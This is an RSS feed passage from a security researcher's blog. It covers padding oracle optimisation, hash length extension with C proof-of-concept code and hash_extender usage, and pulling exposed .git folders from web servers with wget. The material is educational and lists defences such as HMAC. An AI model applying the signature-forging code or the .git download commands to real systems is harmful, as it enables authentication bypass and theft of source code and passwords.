<p><a href="https://github.com/iagox86/poracle/blob/master/RemoteTestModule.rb">RemoteTestModule.rb</a> is more interesting. It comes with a server &mdash; <a href="https://github.com/iagox86/poracle/blob/master/RemoteTestServer.rb">RemoteTestServer.rb</a> &mdash; which runs on Sinatra. The service is the simplest padding oracle vulnerability you can imagine &mdash; it has a path &mdash; "<tt>/encrypt</tt>" &mdash; that retrieves an encrypted string, and another path &mdash; "<tt>/decrypt</tt>" &mdash; that tries to decrypt it and reports "success" or "fail". That's it.</p>
<p>To try these, either just run "<tt>ruby DoTests.rb</tt>" or start the server with "<tt>ruby RemoteTestServer.rb</tt>" and then, in another window (or whatever), run "<tt>ruby DoTests.rb remote</tt>".</p>
<p>One interesting tidbit &mdash; Poracle doesn't actually require OpenSSL to function, or even an encryption library. All encryption and decryption are done by the service, not by Poracle. In fact, Poracle itself has not a single dependency (although the test modules do require OpenSSL, obviously, as well as Sinatra and httparty for the remote test module.</p>
<h3>Backtracking</h3>
<p>Do you ever have that feeling that you're an idiot? I do, on a regular basis, and I'm not really sure why... but I'm gonna tell you a story about the development of Poracle that helps explain why I never want to be a real programmer.</p>
<p>So, while developing Poracle, I was worried about false positives and backtracking. What happens if I was trying to guess the last byte and instead of "<tt>xx yy zz 01</tt>", we wound up with "<tt>xx yy zz 02</tt>", where zz = "<tt>02</tt>"? "<tt>02 02</tt>", or two twos, is valid padding. That means we thought we'd guessed a "<tt>01</tt>", but it's actually "<tt>02</tt>"! False positive!</p>
<p>That's obviously a problem, but I went further, well into the regions of insanity. What if we're cracking the second-last digit and it was a "<tt>03</tt>"? What if we're on the 13th digit and it's a "<tt>0d</tt>"? So, I decided I'd do backtracking. After finding each digit, I'd recurse, and find the next. If none of the 256 possible characters works for the next byte, I'd return and the caller would continue guessing bytes. That made things complicated. It's recursion, that's what it's for!</p>
<p>Then, to speed things up and clean up some of the code, I tried to convert it to iteration. Haha. Trying to go back and forth in an array to track where we were left off when we hit the bad padding was painful. I will spare you the madness of explaining where I went with that. It wasn't pretty.</p>
<p>That's when I started talking to <a href="https://www.twitter.com/mogigoma">Mak</a>, who, contrary to popular belief, can actually save your sanity and not just drain it! He also makes a perfect <a href="http://www.codinghorror.com/blog/2012/03/rubber-duck-problem-solving.html">rubber duck</a>. Although he wasn't answering on IRC, I realized something just by explaining the problem to him &mdash; I can only ever get a padding error on the last digit of each block, because once I've sure &mdash; positive &mdash; that the last digit is "<tt>\x01</tt>", we can reliably set it to "<tt>\x02</tt>", "<tt>\x03</tt>", etc. Because math! That means that we only have to worry about accidentally getting "<tt>\x02\x02</tt>", "<tt>\x03\x03\x03</tt>", "<tt>\x04\x04\x04\x04</tt>", etc, <em>on the last digit of the block, nowhere else</em>.</p>
<p>Once I realized that, it was easy! After we successfully determine the last digit, we make one more request, where we XOR the second-last byte with "<tt>\x01</tt>". That means if that the string was originally ending with "<tt>\x02\x02</tt>", it would end with "<tt>\x03\x02</tt>" and the padding would fail.</p>
<p>So, with one extra request, I can do a nice, simple, clean, iterative algorithm, instead of a crazy complex recursive one. And that opened the door to... optimization!</p>
<h3>Optimization</h3>
<p>So, now we have clean, working code. However, this effectively guesses characters randomly. We try "<tt>\x00</tt>" to "<tt>\xFF</tt>" for the last byte of C&prime;, but after all the XOR operations, the order that values are guessed for P<sub>n</sub> is effectively random. But, what if instead of guessing values for C&prime;, you guessed values for P<sub>n</sub>? The math is actually quite simple and is based on this formula:</p>
<pre>
  P<sub>n</sub>[k] = 1 ⊕ C<sub>n-1</sub>[k] ⊕ C&prime;[k]
</pre>
<p>Instead of choosing values for C&prime;[k], you can choose the value for P<sub>n</sub>[k] that you want to guess, then solve for C&prime;[k]</p>
<p>Since most strings are ASCII or, at least, in some way predictable, I started guessing each character in order, from 0 to 255. Since ASCII tends to be lower, it sped things up by a significant amount. After some further tweaking, I came up with the following algorithm:</p>
<ul>
<li>If we're at the end of the last block, we start with guessing at "\x01", since that's the lowest possible byte that the (actual) padding can be.</li>
<li>The last byte of the block is padding, so for that many bytes from the end, we guess the same byte. For example, if the last byte is "<tt>\x07</tt>", we guess "<tt>\x07</tt>" for the last 7 bytes &mdash; this lets us determine the padding bytes on our first guess every time!</li>
<li>Finally, we weight more heavily toward ASCII characters, in order of the frequency that they occur in the English language, based on text from the <a href="https://en.wikipedia.org/wiki/Battlestar_Galactica">Battlestar Galactica Wiki</a> because, why not Cylon?</li>
</ul>
<p>On my test block of text, running against a Web server on localhost, I improved a pretty typical attack from 33,020 queries taking 63 seconds to 2,385 queries and 4.71 seconds.</p>
<h3>Ciphers</h3>
<p>One final word &mdash; and maybe this will help with Google results :) &mdash; I've tested this successfully against the following ciphers:</p>
<ul>
<li>CAST-cbc</li>
<li>aes-128-cbc</li>
<li>aes-192-cbc</li>
<li>aes-256-cbc</li>
<li>bf-cbc</li>
<li>camellia-128-cbc</li>
<li>camellia-192-cbc</li>
<li>camellia-256-cbc</li>
<li>cast-cbc</li>
<li>cast5-cbc</li>
<li>des-cbc</li>
<li>des-ede-cbc</li>
<li>des-ede3-cbc</li>
<li>desx-cbc</li>
<li>rc2-40-cbc</li>
<li>rc2-64-cbc</li>
<li>rc2-cbc</li>
<li>seed-cbc</li>
</ul>
<p>But that's not interesting, because this isn't an attack against ciphers. It's an attack against cipher-block chaining &mdash; CBC &mdash; that can occur against any block cipher.</p>
<h2>Conclusion</h2>
<p>So, hopefully you understand a little bit about how padding oracles work. If you haven't read my blog about <a href="http://www.skullsecurity.org/blog/2012/everything-you-need-to-know-about-hash-length-extension-attacks">hash extension attacks</a>, go do that. It's pretty cool. Otherwise, if you're going to be around for Shmoocon in DC this winter, come see my talk!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2013/padding-oracle-attacks-in-depth/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>What&#039;s going on with SkullSpace (our hackerspace)?</title>
		<link>http://www.skullsecurity.org/blog/2012/current-and-future-challenges-of-the-hackerspace-i-founded</link>
		<comments>http://www.skullsecurity.org/blog/2012/current-and-future-challenges-of-the-hackerspace-i-founded#comments</comments>
		<pubDate>Mon, 05 Nov 2012 18:30:48 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Default]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1309</guid>
		<description><![CDATA[Hey everybody, This is just a super quick post today to direct you here - http://www.skullspace.ca/blog/2012/11/skullspace-2-0-the-new-frontier/. That's a post I wrote about SkullSpace - the hackerspace that me and several others helped found a couple years ago. We went down a "too good to be true" road, where we had a ton of space and [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody,</p>
<p>This is just a super quick post today to direct you <a href='http://www.skullspace.ca/blog/2012/11/skullspace-2-0-the-new-frontier/'>here</a> - <a href='http://www.skullspace.ca/blog/2012/11/skullspace-2-0-the-new-frontier/'>http://www.skullspace.ca/blog/2012/11/skullspace-2-0-the-new-frontier/</a>.</p>
<p>That's a post I wrote about SkullSpace - the hackerspace that me and several others helped found a couple years ago. We went down a "too good to be true" road, where we had a ton of space and super cheap rent. And, eventually, got bitten by it. We're in the process of moving, and started a <a href='http://www.indiegogo.com/skullspace'>fundraiser</a> to make it happen.</p>
<p>Anyway, <a href='http://www.skullspace.ca/blog/2012/11/skullspace-2-0-the-new-frontier/'>read the post</a>! It's interesting. :)</p>
<p>Ron</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2012/current-and-future-challenges-of-the-hackerspace-i-founded/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Everything you need to know about hash length extension attacks</title>
		<link>http://www.skullsecurity.org/blog/2012/everything-you-need-to-know-about-hash-length-extension-attacks</link>
		<comments>http://www.skullsecurity.org/blog/2012/everything-you-need-to-know-about-hash-length-extension-attacks#comments</comments>
		<pubDate>Tue, 25 Sep 2012 14:03:46 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Crypto]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1284</guid>
		<description><![CDATA[You can grab the hash_extender tool on Github! (Administrative note: I'm no longer at Tenable! I left on good terms, and now I'm a consultant at Leviathan Security Group. Feel free to contact me if you need more information!) Awhile back, my friend @mogigoma and I were doing a capture-the-flag contest at https://stripe-ctf.com. One of [...]]]></description>
			<content:encoded><![CDATA[<p><strong>You can grab the hash_extender tool on <a href='https://github.com/iagox86/hash_extender'>Github</a>!</strong></p>
<p>(Administrative note: I'm no longer at Tenable! I left on good terms, and now I'm a consultant at <a href='http://leviathansecurity.com/'>Leviathan Security Group</a>. Feel free to contact me if you need more information!)</p>
<p>Awhile back, my friend <a href='http://twitter.com/mogigoma'>@mogigoma</a> and I were doing a capture-the-flag contest at <a href='https://stripe-ctf.com'>https://stripe-ctf.com</a>. One of the levels of the contest required us to perform a hash length extension attack. I had never even heard of the attack at the time, and after some reading I realized that not only is it a super cool (and conceptually easy!) attack to perform, there is also a total lack of good tools for performing said attack!  After hours of adding the wrong number of null bytes or incorrectly adding length values, I vowed to write a tool to make this easy for myself and anybody else who's trying to do it. So, after a couple weeks of work, here it is!</p>
<p>Now I'm gonna release the tool, and hope I didn't totally miss a good tool that does the same thing! It's called hash_extender, and implements a length extension attack against every algorithm I could think of:</p>
<ul>
<li>MD4</li>
<li>MD5</li>
<li>RIPEMD-160</li>
<li>SHA-0</li>
<li>SHA-1</li>
<li>SHA-256</li>
<li>SHA-512</li>
<li>WHIRLPOOL</li>
</ul>
<p>I'm more than happy to extend this to cover other hashing algorithms as well, provided they are "vulnerable" to this attack &mdash; MD2, SHA-224, and SHA-384 are not. Please contact me if you have other candidates and I'll add them ASAP!</p>
<h2>The attack</h2>
<p>An application is susceptible to a hash length extension attack if it prepends a secret value to a string, hashes it with a vulnerable algorithm, and entrusts the attacker with both the string and the hash, but not the secret.  Then, the server relies on the secret to decide whether or not the data returned later is the same as the original data.</p>
<p>It turns out, even though the attacker doesn't know the value of the prepended secret, he can still generate a valid hash for <em>{secret || data || attacker_controlled_data}</em>! This is done by simply picking up where the hashing algorithm left off; it turns out, 100% of the state needed to continue a hash is in the output of most hashing algorithms! We simply load that state into the appropriate hash structure and continue hashing.</p>
<p><strong>TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.</strong></p>
<h2>Example</h2>
<p>Let's look at a step-by-step example. For this example:</p>
<ul>
<li>let <em>secret    = "secret"</em></li>
<li>let <em>data      = "data"</em></li>
<li>let <em>H         = md5()</em></li>
<li>let <em>signature = hash(secret || data) = 6036708eba0d11f6ef52ad44e8b74d5b</em></li>
<li>let <em>append    = "append"</em></li>
</ul>
<p>The server sends <em>data</em> and <em>signature</em> to the attacker. The attacker guesses that <em>H</em> is MD5 simply by its length (it's the most common 128-bit hashing algorithm), based on the source, or the application's specs, or any way they are able to.</p>
<p>Knowing only <em>data</em>, <em>H</em>, and <em>signature</em>, the attacker's goal is to append <em>append</em> to <em>data</em> and generate a valid signature for the new data. And that's easy to do! Let's see how.</p>
<h3>Padding</h3>
<p>Before we look at the actual attack, we have to talk a little about padding.</p>
<p>When calculating <em>H</em>(<em>secret</em> + <em>data</em>), the string (<em>secret</em> + <em>data</em>) is padded with a '1' bit and some number of '0' bits, followed by the length of the string. That is, in hex, the padding is a 0x80 byte followed by some number of 0x00 bytes and then the length. The number of 0x00 bytes, the number of bytes reserved for the length, and the way the length is encoded, depends on the particular algorithm and blocksize.</p>
<p>With most algorithms (including MD4, MD5, RIPEMD-160, SHA-0, SHA-1, and SHA-256), the string is padded until its length is congruent to 56 bytes (mod 64). Or, to put it another way, it's padded until the length is 8 bytes less than a full (64-byte) block (the 8 bytes being size of the encoded length field). There are two hashes implemented in hash_extender that don't use these values: SHA-512 uses a 128-byte blocksize and reserves 16 bytes for the length field, and WHIRLPOOL uses a 64-byte blocksize and reserves 32 bytes for the length field.</p>
<p>The endianness of the length field is also important. MD4, MD5, and RIPEMD-160 are little-endian, whereas the SHA family and WHIRLPOOL are big-endian. Trust me, that distinction cost me days of work!</p>
<p>In our example, <em>length(secret || data) = length("secretdata")</em> is 10 (0x0a) bytes, or 80 (0x50) bits. So, we have 10 bytes of data (<em>"secretdata"</em>), 46 bytes of padding (80 00 00 ...), and an 8-byte little-endian length field (50 00 00 00 00 00 00 00), for a total of 64 bytes (or one block). Put together, it looks like this:</p>
<pre>
  0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......
</pre>
<p>Breaking down the string, we have:</p>
<ul>
<li><em>"secret" = secret</em></li>
<li><em>"data" = data</em></li>
<li>80 00 00 ... &mdash; The 46 bytes of padding, starting with 0x80</li>
<li>50 00 00 00 00 00 00 00 &mdash; The bit length in little endian</li>
</ul>
<p>This is the exact data that <em>H</em> hashed in the original example.</p>
<h3>The attack</h3>
<p>Now that we have the data that <em>H</em> hashes, let's look at how to perform the actual attack.</p>
<p>First, let's just append <em>append</em> to the string. Easy enough!  Here's what it looks like:</p>
<pre>
  0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......
  0040  61 70 70 65 6e 64                                append
</pre>
<p>The hash of that block is what we ultimately want to a) calculate, and b) get the server to calculate. The value of that block of data can be calculated in two ways:</p>
<ul>
<li>By sticking it in a buffer and performing <em>H(buffer)</em></li>
<li>By starting at the end of the first block, using the state we already know from <em>signature</em>, and hashing <em>append</em> starting from that state</li>
</ul>
<p>The first method is what the server will do, and the second is what the attacker will do. Let's look at the server, first, since it's the easier example.</p>
<h4>Server's calculation</h4>
<p>We know the server will prepend <em>secret</em> to the string, so we send it the string minus the <em>secret</em> value:</p>
<pre>
  0000  64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00  data............
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64  ..P.......append
</pre>
<p>Don't be fooled by this being exactly 64 bytes (the blocksize) &mdash; that's only happening because <em>secret</em> and <em>append</em> are the same length. Perhaps I shouldn't have chosen that as an example, but I'm not gonna start over!</p>
<p>The server will prepend <em>secret</em> to that string, creating:</p>
<pre>
  0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......
  0040  61 70 70 65 6e 64                                append
</pre>
<p>And hashes it to the following value:</p>
<pre>
  6ee582a1669ce442f3719c47430dadee
</pre>
<p>For those of you playing along at home, you can prove this works by copying and pasting this into a terminal:</p>
<pre>
  echo '
  #include &lt;stdio.h&gt;
  #include &lt;openssl/md5.h&gt;

  int main(int argc, const char *argv[])
  {
    MD5_CTX c;
    unsigned char buffer[MD5_DIGEST_LENGTH];
    int i;

    MD5_Init(&amp;c);
    MD5_Update(&amp;c, "secret", 6);
    MD5_Update(&amp;c, "data"
                   "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x50\x00\x00\x00\x00\x00\x00\x00"
                   "append", 64);
    MD5_Final(buffer, &amp;c);

    for (i = 0; i &lt; 16; i++) {
      printf("%02x", buffer[i]);
    }
    printf("\n");
    return 0;
  }' &gt; hash_extension_1.c

  gcc -o hash_extension_1 hash_extension_1.c -lssl -lcrypto

  ./hash_extension_1
</pre>
<p>All right, so the server is going to be checking the data we send against the signature <em>6ee582a1669ce442f3719c47430dadee</em>. Now, as the attacker, we need to figure out how to generate that signature!</p>
<h4>Client's calculation</h4>
<p>So, how do we calculate the hash of the data shown above without actually having access to <em>secret</em>?</p>
<p>Well, first, we need to look at what we have to work with: <em>data</em>, <em>append</em>, <em>H</em>, and <em>H(secret || data)</em>.</p>
<p>We need to define a new function, <em>H&prime;</em>, which uses the same hashing algorithm as <em>H</em>, but whose starting state is the final state of <em>H(secret || data)</em>, i.e., <em>signature</em>. Once we have that, we simply calculate <em>H&prime;(append)</em> and the output of that function is our hash. It sounds easy (and is!); have a look at this code:</p>
<pre>
  echo '
  #include &lt;stdio.h&gt;
  #include &lt;openssl/md5.h&gt;

  int main(int argc, const char *argv[])
  {
    int i;
    unsigned char buffer[MD5_DIGEST_LENGTH];
    MD5_CTX c;

    MD5_Init(&amp;c);
    MD5_Update(&amp;c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 64);

    c.A = htonl(0x6036708e); /* &lt;-- This is the hash we already had */
    c.B = htonl(0xba0d11f6);
    c.C = htonl(0xef52ad44);
    c.D = htonl(0xe8b74d5b);

    MD5_Update(&amp;c, "append", 6); /* This is the appended data. */
    MD5_Final(buffer, &amp;c);
    for (i = 0; i &lt; 16; i++) {
      printf("%02x", buffer[i]);
    }
    printf("\n");
    return 0;
  }' &gt; hash_extension_2.c

  gcc -o hash_extension_2 hash_extension_2.c -lssl -lcrypto

  ./hash_extension_2
</pre>
<p>The the output is, just like before:</p>
<pre>
  6ee582a1669ce442f3719c47430dadee
</pre>
<p>So we know the signature is right. The difference is, we didn't use <em>secret</em> at all! What's happening!?</p>
<p>Well, we create a <em>MD5_CTX</em> structure from scratch, just like normal.  Then we take the MD5 of 64 'A's. We take the MD5 of a full (64-byte) block of 'A's to ensure that any internal values &mdash; other than the state of the hash itself &mdash; are set to what we expect.</p>
<p>Then, after that is done, we replace <em>c.A</em>, <em>c.B</em>, <em>c.C</em>, and <em>c.D</em> with the values that were found in <em>signature</em>: <em>6036708eba0d11f6ef52ad44e8b74d5b</em>. This puts the MD5_CTX structure in the same state as it finished in originally, and means that anything else we hash &mdash; in this case <em>append</em> &mdash; will produce the same output as it would have had we hashed it the usual way.</p>
<p>We use <em>htonl()</em> on the values before setting the state variables because MD5 &mdash; being little-endian &mdash; outputs its values in little-endian as well.</p>
<h4>Result</h4>
<p>So, now we have this string:</p>
<pre>
  0000  64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00  data............
  0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64  ..P.......append
</pre>
<p>And this signature for <em>H(secret || data || append)</em>:</p>
<pre>
  6ee582a1669ce442f3719c47430dadee
</pre>
<p>And we can generate the signature without ever knowing what the secret was!  So, we send the string to the server along with our new signature. The server will prepend the signature, hash it, and come up with the exact same hash we did (victory!).</p>
<h2>The tool</h2>
<p><strong>You can grab the hash_extender tool on <a href='https://github.com/iagox86/hash_extender'>Github</a>!</strong></p>
<p>This example took me hours to write. Why? Because I made about a thousand mistakes writing the code. Too many NUL bytes, not enough NUL bytes, wrong endianness, wrong algorithm, used bytes instead of bits for the length, and all sorts of other stupid problems. The first time I worked on this type of attack, I spent from 2300h till 0700h trying to get it working, and didn't figure it out till after sleeping (and with Mak's help). And don't even get me started on how long it took to port this attack to MD5. Endianness can die in a fire.</p>
<p>Why is it so difficult? Because this is crypto, and crypto is <em>immensely</em> complicated and notoriously difficult to troubleshoot. There are lots of moving parts, lots of side cases to remember, and it's never clear why something is wrong, just that the result isn't right. What a pain!</p>
<p>So, I wrote hash_extender. hash_extender is (I hope) the first free tool that implements this type of attack. It's easy to use and implements this attack for every algorithm I could think of.</p>
<p>Here's an example of its use:</p>
<pre>
  $ ./hash_extender --data data --secret 6 --append append --signature 6036708eba0d11f6ef52ad44e8b74d5b --format md5
  Type: md5
  Secret length: 6
  New signature: 6ee582a1669ce442f3719c47430dadee
  New string: 64617461800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000617070656e64
</pre>
<p>If you're unsure about the hash type, you can let it try different types by leaving off the --format argument. I recommend using the --table argument as well if you're trying multiple algorithms:</p>
<pre>
  $ ./hash_extender --data data --secret 6 --append append --signature 6036708eba0d11f6ef52ad44e8b74d5b --out-data-format html --table
  md4       89df68618821cd4c50dfccd57c79815b data80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000P00000000000000append
  md5       6ee582a1669ce442f3719c47430dadee data80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000P00000000000000append
</pre>
<p>There are plenty of options for how you format inputs and outputs, including HTML (where you use <em>%NN</em> notation), CString (where you use <em>\xNN</em> notation, as well as <em>\r</em>, <em>\n</em>, <em>\t</em>, etc.), hex (such as how the hashes were specified above), etc.</p>
<p>By default I tried to choose what I felt were the most reasonable options:</p>
<ul>
<li>Input data: raw</li>
<li>Input hash: hex</li>
<li>Output data: hex</li>
<li>Output hash: hex</li>
</ul>
<p>Here's the help page for reference:</p>
<pre>
--------------------------------------------------------------------------------
HASH EXTENDER
--------------------------------------------------------------------------------

By Ron Bowes <ron @ skullsecurity.net>

See LICENSE.txt for license information.

Usage: ./hash_extender <--data=<data>|--file=<file>> --signature=<signature> --format=
<format> [options]

INPUT OPTIONS
-d --data=<data>
      The original string that we're going to extend.
--data-format=
<format>
      The format the string is being passed in as. Default: raw.
      Valid formats: raw, hex, html, cstr
--file=<file>
      As an alternative to specifying a string, this reads the original string
      as a file.
-s --signature=<sig>
      The original signature.
--signature-format=
<format>
      The format the signature is being passed in as. Default: hex.
      Valid formats: raw, hex, html, cstr
-a --append=<data>
      The data to append to the string. Default: raw.
--append-format=
<format>
      Valid formats: raw, hex, html, cstr
-f --format=<all|format> [REQUIRED]
      The hash_type of the signature. This can be given multiple times if you
      want to try multiple signatures. 'all' will base the chosen types off
      the size of the signature and use the hash(es) that make sense.
      Valid types: md4, md5, ripemd160, sha, sha1, sha256, sha512, whirlpool
-l --secret=<length>
      The length of the secret, if known. Default: 8.
--secret-min=<min>
--secret-max=<max>
      Try different secret lengths (both options are required)

OUTPUT OPTIONS
--table
      Output the string in a table format.
--out-data-format=
<format>
      Output data format.
      Valid formats: none, raw, hex, html, html-pure, cstr, cstr-pure, fancy
--out-signature-format=
<format>
      Output signature format.
      Valid formats: none, raw, hex, html, html-pure, cstr, cstr-pure, fancy

OTHER OPTIONS
-h --help
      Display the usage (this).
--test
      Run the test suite.
-q --quiet
      Only output what's absolutely necessary (the output string and the
      signature)
</pre>
<h2>Defense</h2>
<p>So, as a programmer, how do you solve this? It's actually pretty simple. There are two ways:</p>
<ul>
<li>Don't trust a user with encrypted data or signatures, if you can avoid it.</li>
<li>If you can't avoid it, then use HMAC instead of trying to do it yourself.  HMAC is <em>designed</em> for this.</li>
</ul>
<p>HMAC is the real solution. HMAC is designed for securely hashing data with a secret key.</p>
<p>As usual, use constructs designed for what you're doing rather than doing it yourself. The key to all crypto! [pun intended]</p>
<p><strong>And finally, you can grab the hash_extender tool on <a href='https://github.com/iagox86/hash_extender'>Github</a>!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2012/everything-you-need-to-know-about-hash-length-extension-attacks/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Using &quot;Git Clone&quot; to get Pwn3D</title>
		<link>http://www.skullsecurity.org/blog/2012/using-git-clone-to-get-pwn3d</link>
		<comments>http://www.skullsecurity.org/blog/2012/using-git-clone-to-get-pwn3d#comments</comments>
		<pubDate>Tue, 07 Aug 2012 13:40:42 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1271</guid>
		<description><![CDATA[Hey everybody! While I was doing a pentest last month, I discovered an attack I didn't previously know, and I thought I'd share it. This may be a Christopher Columbus moment - discovering something that millions of people already knew about - but I found it pretty cool so now you get to hear about [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody!</p>
<p>While I was doing a pentest last month, I discovered an attack I didn't previously know, and I thought I'd share it. This may be a Christopher Columbus moment - discovering something that millions of people already knew about - but I found it pretty cool so now you get to hear about it!</p>
<p>One of the first things I do when I'm looking at a Web app - and it's okay to make a lot of noise - is run the <a href="http://www.nmap.org/svn/scripts/http-enum.nse">http-enum.nse</a> Nmap script. This script uses the <a href='http://nmap.org/svn/nselib/data/http-fingerprints.lua'>http-fingerprints.lua</a> file to find any common folders on a system (basically brute-force browsing). I'm used to seeing admin folders, tmp folders, and all kinds of other interesting stuff, but one folder in particular caught my eye this time - /.git.</p>
<p>Now, I'll admit that I'm a bit of an idiot when it comes to git. I use it from time to time, but not in any meaningful way. So, I had to hit up my friend <a href='http://www.twitter.com/mogigoma'>@mogigoma</a>. He was on his cellphone, but managed to get me enough info to make this attack work.</p>
<p>First, I tried to use <tt>git clone</tt> to download the source. That failed, and I didn't understand why, so I gave up that avenue right away.</p>
<p>Next, I wanted to download the /.git folder. Since directory listings were turned on, this was extremely easy:</p>
<pre>$ mkdir git-test
$ cd git-test
$ wget --mirror --include-directories=/.git http://www.target.com/.git</pre>
</pre>
<p>That'll take some time, depending on the size of the repository. When it's all done, go into the folder that wget created and use git --reset:</p>
<pre>$ cd www.site.com
$ git reset --hard
HEAD is now at [...]</pre>
<p>Then look around - you have their entire codebase!</p>
<pre>$ ls
db  doc  robots.txt  scripts  test
</pre>
<p>Browse this for interesting scripts (like test scripts?), passwords, configuration details, deployment, addresses, and more! You just turned your blackbox pentest into a whitebox one, and maybe you got some passwords in the deal! You can also use "git log" to get commit messages, "git remote" to get a list of interesting servers, "git branch -a" to get a list of branches, etc.</p>
<h2>Why does this happen?</h2>
<p>When you clone a git repository, it creates a folder for git's metadata - .git - in the folder where you check it out. This is what lets you do a simple "git pull" to get new versions of your files, and can make deployment/upgrades a breeze. In fact, I intentionally leave .git folders in some of my sites - like my hackerspace, <a href='http://skullspace.ca/.git/'>SkullSpace</a>. You can find this exact code on github, so there's no privacy issue; this only applies to commercial sites where the source isn't available, or where more than just the code is bring stored in source control.</p>
<p>There are a few ways to prevent this:</p>
<ul>
<li>Remove the .git folder after you check it out</li>
<li>Use a .htaccess file (or apache configuration file) to block access to .git</li>
<li>Keep the .git folder one level up - in a folder that's not available to the Web server</li>
<li>Use a framework - like Rails or .NET - where you don't give users access to the filesystem</li>
</ul>
<p>There may be other ways as well, use what makes sense in your environment!</p>
<h2>Finding this in an automated way</h2>
<p>A friend of mine - <a href='https://www.twitter.com/AlexWebr'>Alex Weber</a> - wrote an Nmap script (his first ever!) to detect this vulnerability and print some useful information about the git repository! This script will run by default when you run <tt>nmap -A</tt>, or you can specifically request it by running <tt>nmap --script=<a href="http://www.nmap.org/svn/scripts/http-git.nse">http-git</a> &lt;target&gt;</tt>. You can quickly scan an entire network by using a command like:</p>
<pre>nmap -sS -PS80,81,443,8080,8081 -p80,81,443,8080,8081 --script=http-git &lt;target&gt;</pre>
<p>The output for an affected host will look something like:</p>
<pre>
PORT     STATE  SERVICE
80/tcp   open   http
| http-git:
|   Potential Git repository found at 206.220.193.152:80/.git/ (found 5 of 6
expected files)
|   Repository description: Unnamed repository; edit this file 'description' to name
the...
|   Remote: https://github.com/skullspace/skullspace.ca.git
|_   -> Source might be at https://github.com/skullspace/skullspace.ca
</pre>
<p>And that's all there is to it! Have fun, and let me know if you have any interesting results so I can post a followup!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2012/using-git-clone-to-get-pwn3d/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Battle.net authentication misconceptions</title>
		<link>http://www.skullsecurity.org/blog/2012/battle-net-authentication-misconceptions</link>
		<comments>http://www.skullsecurity.org/blog/2012/battle-net-authentication-misconceptions#comments</comments>
		<pubDate>Thu, 24 May 2012 21:22:49 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1236</guid>
		<description><![CDATA[Hey everybody, There have been a lot of discussion and misconceptions about Battle.net's authentication lately. Having done a lot of work on the Battle.net protocol, I wanted to lay some to rest. The first thing to understand is that, at least at the time I was working on this, there were three different login methods [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody,</p>
<p>There have been a lot of discussion and misconceptions about Battle.net's authentication lately. Having done a lot of work on the Battle.net protocol, I wanted to lay some to rest. </p>
<p>The first thing to understand is that, at least at the time I was working on this, there were three different login methods (this is before they combined the Web logins with Battle.net logins - I can't speak on those). The three methods are:</p>
<ol>
<li>CHAT protocol - deprecated a long, long time ago</li>
<li>Old Login System (OLS) - used by Diablo, Warcraft 2 BNE, Starcraft, and Diablo II</li>
<li>New Login System (NLS) - used by Warcraft 3, World of Warcraft, and in some fashion by newer games. Also supported - but unused - by Diablo II</li>
